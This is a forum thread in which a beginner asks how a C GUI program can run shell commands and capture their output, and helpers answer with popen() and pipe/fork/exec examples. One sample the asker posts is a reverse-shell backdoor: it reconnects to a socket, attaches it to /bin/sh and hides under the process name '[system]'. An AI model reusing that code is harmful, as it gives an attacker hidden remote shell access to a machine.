Redirecting Terminal to Local Application!

i wanted to execute some terminal commands on local linux, parse their output and display it to the user, i checked netcat source code but i couldnt understance it since im new to c (and linux at the same time).
so i was wondering if there is away to run an instance of terminal hidden, read and write from it maybe? cause executing commands one by one wont be good at all.

i hope im clear;
thanks;

popen() may do what you want. FILE *fp=popen("command", "r"); It's either read-only or write-only. If that's not sophisticated enough, you can create pipes, fork, exec, and read/write from those pipes. There's many threads here about that.

#include <stdio.h>

/* These are useful to keep the source readable */
#ifndef STDIN_FILENO
# define STDIN_FILENO 0
#endif
#ifndef STDOUT_FILENO
# define STDOUT_FILENO 1
#endif
#ifndef STDERR_FILENO
# define STDERR_FILENO 2
#endif
#ifndef SHUT_RDWR
# define SHUT_RDWR 2
#endif

char *opt_exec = NULL;  /* program to exec after connecting */
static void ncexec(FILE *MyOutput)
{
  int saved_stderr;
  char *p;
 // assert(ncsock && (ncsock->fd >= 0));
  /* save the stderr fd because we may need it later */
  saved_stderr = dup(STDERR_FILENO);
  /* duplicate the socket for the child program */
  dup2(MyOutput, STDIN_FILENO); /* the precise order of fiddlage */
  close(MyOutput);   /* is apparently crucial; this is */
  dup2(STDIN_FILENO, STDOUT_FILENO); /* swiped directly out of "inetd". */
  dup2(STDIN_FILENO, STDERR_FILENO); /* also duplicate the stderr channel */
  /* change the label for the executed program */
  if ((p = strrchr(opt_exec, '/')))
    p++;   /* shorter argv[0] */
  else
    p = opt_exec;
  /* replace this process with the new one */
#ifndef USE_OLD_COMPAT
  execl("/bin/sh", p, "-c", opt_exec, NULL);
#else
  execl(opt_exec, p, NULL);
#endif
  dup2(saved_stderr, STDERR_FILENO);
//  ncprint(NCPRINT_ERROR | NCPRINT_EXIT, _("Couldn't execute %s: %s"),
 //  opt_exec, strerror(errno));
}    /* end of ncexec() */
int main()
{
 FILE *fOutput;
 fOutput = fopen("/mnt/hgfs/VMShares/output.txt", "w+");
 if (fOutput == NULL) printf("fOutput Error\n");
 if (fork() == 0)
 {
  printf("Fork() Success !\n");
  ncexec(fOutput);
 }
 sleep(2);
 //fwrite("ls", 4, 2, fOutput);
 return 0;
}

i took this part off Netcat, i created a file descriptor of my owen using fopen and used that in the code insted of "ncsock->fd" ? and used fork() after that since it will be replacing the process using execl()

but it didnt work, no output on the file i created :frowning:

sorry for the stupid question, im new to the world of linux and c..

thanks.

You should open the file with open(), not fopen(), since dup2() doesn't take file pointers. Neither does close(), for that matter. I'm surprised it didn't crash, and the compiler almost certainly warned you about this.

Why are you duplicating your output file over standard input?

Why are you duplicating STDIN to STDOUT?

Why are you duplicating STDIN to STDERR?

There's no magic to making it work, it's a matter of putting the files you want in the numbers you want. in your case, I think, you want the output file duplicated over stdout.

i still cant get it to work, can u be a bit more clear?
im too n00b for these lines

Corona gave you the answer, assuming we understand what you want. popen()
Take this code and play with it.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
   FILE *cmd=NULL;                          // FILE* for popen
   char tmp[2048]={0x0};                    // string for input/output
   for(;;)                                  // loop forever (see exit below)
   {
      printf("Enter a command(exit to quit): ");
      fflush(stdout);                        //prompt to display
      fgets(tmp, sizeof(tmp), stdin);        // read answer 
      if (strcmp(tmp, "exit\n")==0 )         // if exit then exit program
           exit(0);        
      cmd=popen(tmp,"r");                    // open a command via popen
      while(fgets(tmp, sizeof(tmp), cmd)!=NULL) // display results
           printf("%s", tmp);
      pclose(cmd);                           // close the popen stream
   } 
   return 0;                                 // never reached
}

thars back to point zero, i already made that and it even worked with fopen
i hope this code shows what im trying to do

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv)
{
   FILE *cmd=NULL;                          // FILE* for popen
   char tmp[2048]={0x0};                    // string for input/output
   cmd=popen("xterm","r");                    // open a command via popen
   for(;;)                                  // loop forever (see exit below)
   {
      printf("Enter a command(exit to quit): ");
      fflush(stdout);                        //prompt to display
      fgets(tmp, sizeof(tmp), stdin);        // read answer
      if (strcmp(tmp, "exit\n")==0 )         // if exit then exit program
           exit(0);
      pwrite(cmd, tmp, sizeof(tmp), 0);
      pwrite(cmd, "\n", 1, 0);
      while(fgets(tmp, sizeof(tmp), cmd)!=NULL) // display results
           printf("%s", tmp);
   //   pclose(cmd);                           // close the popen stream
   }
   return 0;                                 // never reached
}

open xterm once and read and write to/from it, i dont even know if this is possible
thanks for ur help :).

popen as already stated is either read-only or write-only, never bidirectional.

That's pretty backwards. Sure it's possible, but it's also a silly amount of work in this circumstance. Especially when what you want is so tricky (not just pipes, but fairly unbuffered I/O). Why not have xterm run your program? Then you get everything done the way you want with one hit of the enter key.

xterm -e program arguments ...

cause i needed to execute commands FROM my application and get the output, and executing commands one by one is very silly, and also i thought it would be a nice thing to learn from, and i was hoping u ppl could help.

i been trying for days now.... and i guess i have to keep trying

I'm out of time today, but I'll post more example code tomorrow.

If I knew exactly what you were trying to do, not just the kind of solution you believe is necessary, I could help you better. The thing is, running your code in an xterm instead of vice versa will take care of all the difficult problems for you, and there's very likely a way to do exactly what you want from within one instead of vice versa.

my application is totally something not related to xterm, it has a gui and everything, but im not good with coding yet as u can see, so im gonna execute terminal commands insted of coding them for now.
im trying to do it that way so i dont have to modify the whole code each time i add new stuff
here is another sample, i worked on it, but was never abel to get it to wok

 #include <stdio.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <sys/socket.h>
 #include <string.h>
 #include <netdb.h>

 char server[] = "127.0.0.1";
 int port = 12345;
 char shell[] = "/bin/sh";
 char fakename[] = "[system]";
 int TIMEOUT = 3;

 int main(int arg, char **argv[])
 {
 int mainsock;
 char title[4096] = "";
 int x;

 again:

 mainsock = socket (AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in sin;
 struct hostent *host = gethostbyname (server);

 memcpy (&sin.sin_addr.s_addr, host->h_addr, host->h_length);
 sin.sin_family = AF_INET;
 sin.sin_port = htons (port);

 if(connect (mainsock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
 {
     sleep(TIMEOUT);
     goto again;
 }

 setsid();
 umask(0);
 dup2(mainsock, 0);
 dup2(mainsock, 1);
 dup2(mainsock, 2);

 sprintf(title, "Welcome %s (%s)", getenv("USER"), getenv("HOME"));
 chdir(getenv("HOME"));

 for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
 fprintf(stderr, "\n");
 fprintf(stderr, "+ %s +\n", title);
 for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
 fprintf(stderr, "\n");

 execl( shell, fakename,"-i" ,0);
 close(mainsock);
 return 0;
 }

i tried replacing the sockets with a file using fopen so it writes output to disk, but never worked, i also tried using pipes, but it was too much for me.

i appreciate any help u could provide.
thanks for ur time...

So? There's still nothing whatsoever stopping you from running your code inside a terminal in the meantime. Things that need a terminal should be run in a terminal. That's how console applications work. That's how xterm expects to work. That's what they're there for. If you told me what your program needed to do, instead of the bizzare way you're hellbent on doing it, I could show you the proper way to do it.

This doesn't do what you think it does, anyway:

echo asdf | xterm | cat

'asdf' doesn't get printed to the terminal output, and cat doesn't read the terminal's input, because xterm is designed to communicate with a program running inside it.

In any case, here is your original goal, communicating with a program through pipes. We write 'asdf' to cat and read it back:

#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	char *cmd[]={"cat", NULL};
	pid_t pid;
	int pipei[2], pipeo[2], status;
	char buf[512];
	ssize_t bytes;
	int total=0;

	// Create pipes
	pipe(pipei);	pipe(pipeo);

	pid=fork();

	if(pid < 0)
	{
		perror("Couldn't fork");
		return(1);
	}
	else if(pid == 0)
	{	// Child code
		// Child reads from output pipe
		dup2(pipeo[STDIN_FILENO], STDIN_FILENO);
		// Child writes to input pipe
		dup2(pipei[STDOUT_FILENO], STDOUT_FILENO);
		close(pipeo[STDOUT_FILENO]);
		close(pipei[STDIN_FILENO]);

		execvp(cmd[0], cmd);
		perror("Couldn't exec");
		exit(1);
	}

	// Parent code
	// Close all ends of pipes we aren't using anymore, or else
	// they'll hold it open later
	close(pipeo[STDIN_FILENO]);	close(pipei[STDOUT_FILENO]);

	write(pipeo[STDOUT_FILENO], "asdf", 4);

	// Read until EOF
	while(1)
	{
		bytes=read(pipei[STDIN_FILENO], buf, 512);
		if(bytes < 0)
		{
			fprintf(stderr, "Pipe not ready\n");
			continue;
		}
		else if(bytes == 0)	// End of file
		{
			fprintf(stderr, "Pipe closed\n");
			break;
		}
		else
		{
			fprintf(stderr, "Read %d bytes: '", (int)bytes);
			write(STDOUT_FILENO, buf, bytes);
			fprintf(stderr, "'\n");

			bytes=read(pipei[STDIN_FILENO], buf, 512);
		}
	}

	// Close the last pipes
	close(pipei[STDIN_FILENO]);
	close(pipeo[STDOUT_FILENO]);

	// Wait for the child so it doesn't haunt us as a zombie
	pid=wait(&status);

	fprintf(stderr, "Child exited with status %d\n", WEXITSTATUS(status));
}

Note that this behavior may be undefined on your platform. The read end of the pipe might actually block until >512 bytes are written, or the writing end closes. You could try setting it nonblocking, but then things like cat will die with "resource temporarily unavailable" whenever the pipe isn't ready.

As it happens, xterm also has a slave mode:

xterm -S ab12

where the bolded part is the file descriptor to read and write from.

This doesn't work with pipes. xterm reads and writes from the same descriptor, but pipes only go one way.

a socketpair() might work, but that's no guarantee.

I maintain, though, that this is a self-defeating design -- and a ridiculous amount of work for code you don't even intend to use. 40 lines of pseudocode for your plan, 8 lines of real, working code to do this the correct way:

// pseudocode that creates its own xterm

main()
{
  create_socketpair();
  create_child();

  child_code
  {
      create_xterm();
  }

  parent_code
  {
    char *output="Hello, please type something here:";
    char input[512];

    // write output string
    while(!all_written)
      keep_writing_to_socket;

    // keep reading until we get EOF or an enter character
    while(!all_read)
      keep_reading_from_socket;

    output="you typed: ";
    while(!all_written)
      keep_writing_to_socket;

    output=input;
    while(!all_written)
      keep_writing_to_socket;
    output="'\n";

    while(!all_written)
      keep_writing_to_socket;

    close(socket);
    wait();
  }
}

//WORKING code that runs INSIDE  an xterm
#include <stdio.h>
int main(void)
{
    char buf[512];
    fprintf(stderr, "Hello, please type something here:");
    fgets(buf, 512, stdin);
    fprintf(stderr, "You typed: %s\n", buf);
}

And what if you want to run it on a machine where xterms aren't available, but a text terminal is?

Just run it in a terminal already, you'll get everything you want.

thanks for ur help
but my application never runs in xterm, its clicked and a gui is shown, all it does is that it saves me alot of typing in the terminal, all those flags and stuff, for example : just click the "Take Screen Shot" button and it will take a screen shot and save it with a specific sequenced name under /home/user/Screen Shots.
i cant open a terminal and run whats supposed to be wrapping terminal, its clicks application
and i need it this specific way cause i have some other stupid project in mind that will need it that way, tunnel output from xterm.

if u take a look at the last sample i posted, thats exactly what i need, except i tried making it write ouput to a file or pipe insted of sockets, but failed.
if u can show me hos its done, it would fix everything...

if u can help achive it this way, i would be grateful.
if u can't, all good :smiley: u helped me so much already :slight_smile:

thanks alot.

An analogy:

...and about as painful to watch.

Your goal is to run it in one mouseclick, with options, and without having to type them in? But still have your program able to communicate with a terminal? Easy: Create a shortcut (or script) which does this:

xterm -e /path/to/my/application flags flags more flags

...and you're done!

Better yet, when you don't need the terminal anymore, you can just not use the terminal. There's nothing to take away from your code.

Please, please, please just try it.

if u take a look at the last sample i posted, thats exactly what i need, except i tried making it write ouput to a file or pipe insted of sockets, but failed.
if u can show me hos its done, it would fix everything...

Against my better judgement, I already wrote an entire example for you about that from scratch and explained, in detail, why it wouldn't work for xterm, and what hacks might make it possible.

When you're trying to connect to your own code with network sockets, it's a red flag that your design's the wrong way around. If you tell me exactly what you think you can't do, I'll show you how to do so. It'll be a thousand times less work.

man, u didnt even read my post. my program is doing nothing, it has some buttons, i click one of them and it executes the sequence of commands STORED inside my program for this specific command.
and second some commands needs more than one line, i need to execute them all.

and that example i asked u how can i make it use pipes (AND NOT SOCKETS CAUSE ITS ALREADY USING SOCKETS) i messed it up when i tried, thats y im asking for ur help to make it use PIPES AND NOT SOCKETS

i hope u understand what i mean this time
thanks...

Your post was fairly incoherent, I made the best of it that I could.

This problem continues to be more easily solved by not going at it completely backwards, however. If you have an xterm run your GUI program, you'll have no need to create your own terminal, and much, much easier access to the terminal you already have.

Thousands of lines of code to do it the way you're hellbent on doing it.

Or, the normal way:

int main(void)
{
    if(button_pushed)
    system("command");
}

NO NEED TO YELL.

Ahem.

As for reading comprehension: I suggest you use the working example code I wrote from scratch for you, which uses pipes, that I posted way back here.

I now retire from this thread before I say something I'll regret.